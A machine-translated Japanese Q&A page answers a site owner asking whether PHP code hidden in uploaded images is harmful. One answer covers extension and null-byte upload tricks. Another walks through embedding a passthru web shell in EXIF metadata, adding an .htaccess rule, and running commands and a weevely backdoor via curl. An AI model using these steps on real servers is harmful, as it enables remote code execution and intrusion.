web-dev-qa-db-ja.com

画像内の悪意のあるコード。有害?

私のウェブサイトでは、ユーザーは自分のプロフィール写真をアップロードできます。一部の画像を分析した後、アップロードスクリプトと同様に、悪意のあるPHPコードが含まれている画像を見つけました。例として、PHPの1行のコードを見つけました。

<?php echo $_GET['a']; ?>

したがって、このコードを使用して、この画像を.phpなどのpicture.phpファイルとしてアップロードできる場合、url/pictur.php?a=[anything]などの方法でこのスクリプトを実行できます。ただし、すべての画像拡張子が自動的に.phpに変更されるため、画像を.jpg拡張子としてアップロードすることはできません。さらに、php関数includeによる画像は含めません。むしろ、私は常にhtml imgタグで画像を追加します。

悪意のあるユーザーを停止するためのベストプラクティスは、画像のサイズを変更することです。悪意のある人がこの種の画像に危害を加えることは可能ですか?

4

サーバー上でローカルにコードを実行することは決してできませんが、悪意のあるJavaScriptコードをアップロードできる可能性があります。その後、他の攻撃(XSSなど)でコードを参照する必要がある場合、攻撃者はサイトを指すことができます。 PHPまたは他のサーバー側のコードがこのイメージから消費される可能性があるまれな状況もあるかもしれません。

サーバーの設定に誤りがあるか、攻撃者が何らかのinclude() of eval()の実行を希望する場所に攻撃画像をアップロードする可能性があります。

例: この例を参照 (2008年からですが、一部の攻撃は依然としてアウトダッテッドWebサーバーで機能する可能性があります-興味深い概念については、残りのスレッドを読むことをお勧めします):

サーバーが拡張子を.JPG/.GIFに変更する(またはそれらの拡張子のみを許可する)場合は、よりクリエイティブにする必要があります。 Apacheでは、ファイルにsomething.php.jpgという名前を付けることができますが、Apacheは引き続きそれをPHPとして扱います。

試すことができる別のオプションは、.JPG拡張子の前にNULLバイトを埋め込むアップロード要求を(ツールまたはHTTP要求エディターを使用して)送信することです。 ASPスクリプトはこれに対して脆弱になる傾向があります-スクリプトはファイル名全体を認識しますが、基礎となるファイル操作はNULLバイトの後にファイルの名前を切り捨てます。したがって、something.asp% 00.jpgはsomething.aspになります。

別の PHPコードのウォークスルー

4
Eric G

EXIF JPEGメタデータフィールドを操作するために、コマンドラインjheadツールを使用します。ニーズに合わせて選択できる同様の機能を備えたツールは他にもたくさんあります。

これでメタデータ操作ツールができたので、ランダムなJPEG画像を取得してメタデータを読み取ることができます。

root@testbed:~# jhead image.jpg
File name    : image.jpg
File size    : 208103 bytes
File date    : 2011:09:07 21:20:10
Date/Time    : 2007:04:24 14:11:55
Resolution   : 1197 x 478
======= IPTC data: =======
Record vers.  : 2

ファイルはかなりきれいなので、メタデータのコメントフィールドにいくつかのPHPコードを非表示にして、少し汚いものにします。コメントフィールドを編集するには、-ceフラグを使用しますjheadツールの.

root@testbed:~# jhead -ce image.jpg
Modified: image.jpg
root@testbed:~# jhead image.jpg
File name    : image.jpg
File size    : 182007 bytes
File date    : 2011:09:07 21:20:10
Resolution   : 1197 x 478
Comment      : <?php passthru($_POST['cmd']); __halt_compiler();

passthru関数を使用して、ターゲットマシンに対して外部コマンドを実行できます。コマンドは、POSTメソッドを「cmd」という名前で使用してターゲットに渡されます。ここでは、GETメソッドを使用してコマンドをターゲットマシンに渡すことができると考える人もいます。これは本当です。ターゲットに送信するコマンドはURLの一部であるため、httpdアクセスログで簡単に認識できますが、これも使用できます。

halt_compilerコマンドは、コンパイラがイメージのバイナリデータを解析するのを停止します。メタデータ情報は画像データの前に保存されるため、次のバイナリデータで<?が発生すると実行が中断されるため、コードの後でコンパイラを停止する必要があります。 PHPセクションを閉じる必要がないのはそのためです。

画像ファイルでPHPコードを非表示にしたので、ターゲットWebサーバーに.jpgファイルをPHPファイルとして処理するように強制します。これを実現するには、.htaccessファイルでAddTypeディレクティブを使用します。AddTypeディレクティブは、指定されたファイル名拡張子を指定されたコンテンツタイプにマップします。AddTypeディレクティブを使用するには、ターゲットApacheでmod_mimeが有効になっている必要がありますそして、ファイルを置くディレクトリで少なくともFileInfoのオーバーライドを許可します。

悪意のあるjpgファイルをメディアパスにアップロードするので、.phpファイルを.phpファイルにマッピングするAddTypeディレクティブを使用して、関連するディレクトリに.htaccessを配置する必要があります。

root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess

OK、すべてが設定されたので、ターゲットマシンでコマンドを実行する最初の試みを開始しましょう。 POSTメソッドを使用してコマンドを送信するには、curlツールを使用します。

root@testbed:~# curl -d cmd=id http://192.168.2.11/media/image.jpg
.........JFIF..........................................................uid=33(www-data) gid=33(www-data) groups=33(www-data)

ビンゴ!コマンドはターゲットマシンで正常に実行されました。出力が始まる前のゴミは、画像のヘッダーのデータが原因です。

ここで言及する必要があるのは、一部のPHP構成では、無効な関数にpassthruが含まれている場合があります。その場合、systemexecShell_exec、等.

テクニックが機能していることを確認したので、同じ画像のコメントフィールドにPHPバックドアシェル全体を非表示にします。そのために、weevely PHPシェルですが、ペンテストの武器にある別のシェルを選択できます。

最初にweevelyスクリプトを使用してシェルを作成し、生成されたPHPコードをメタデータコメントフィールドにコピーします。

root@testbed:weevely# ./weevely.py -g -o back.php -p admin
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Backdoor file 'back.php' created with password 'admin'.

最後に、ターゲットサーバーでターミナルを確立するために、作成手順で使用したイメージURLとパスワードを指定するターミナルフラグを使用してweevelyを呼び出します。

root@testbed:weevely# ./weevely.py -t -p admin -u http://192.168.2.11/media/image.jpg
Weevely 0.3 – Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Using method ‘system()’.
+ Retrieving terminal basic environment variables .

[www-data@webtestbed /var/www/media] ls
image.jpg
[www-data@webtestbed /var/www/media] id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[www-data@webtestbed /var/www/media]

やられた!ターゲットマシンにアクセスするためのApacheユーザー(www-data)権限があります。

2
Yogendra Sharma